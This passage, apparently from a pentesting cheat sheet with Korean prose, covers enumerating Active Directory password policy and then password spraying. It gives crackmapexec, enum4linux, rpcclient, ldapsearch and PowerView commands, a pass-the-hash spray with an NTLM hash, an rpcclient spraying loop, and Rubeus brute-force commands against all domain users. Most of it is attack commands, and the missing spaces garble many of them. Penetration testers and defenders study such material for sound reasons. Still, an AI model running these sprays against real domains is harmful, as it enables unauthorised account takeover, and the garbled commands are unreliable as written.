사용자 자격 증명이나 도메인 사용자로서의 쉘이 있는 경우, 다음 명령어로 비밀번호 정책을 가져올 수 있습니다:
# From Linuxcrackmapexec<IP>-u'user'-p'password'--pass-polenum4linux-u'username'-p'password'-P<IP>rpcclient-U""-N10.10.10.10;rpcclient $>querydominfoldapsearch-h10.10.10.10-x-b"DC=DOMAIN_NAME,DC=LOCAL"-ssub"*"|grep-m1-B10pwdHistoryLength# From Windowsnetaccounts(Get-DomainPolicy)."SystemAccess"#From powerview
Exploitation from Linux (or all)
Using crackmapexec:
crackmapexecsmb<IP>-uusers.txt-ppasswords.txt# Local Auth Spray (once you found some local admin pass or hash)## --local-auth flag indicate to only try 1 time per machinecrackmapexecsmb--local-auth10.10.10.10/23-uadministrator-H10298e182387f9cab376ecd08491764a0|grep+
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/for u in $(catusers.txt); dorpcclient-U"$u%Welcome1"-c"getusername;quit"10.10.10.10|grepAuthority;done
# with a list of users.\Rubeus.exebrute/users:<users_file>/passwords:<passwords_file>/domain:<domain_name>/outfile:<output_file># check passwords for all users in current domain.\Rubeus.exebrute/passwords:<passwords_file>/outfile:<output_file>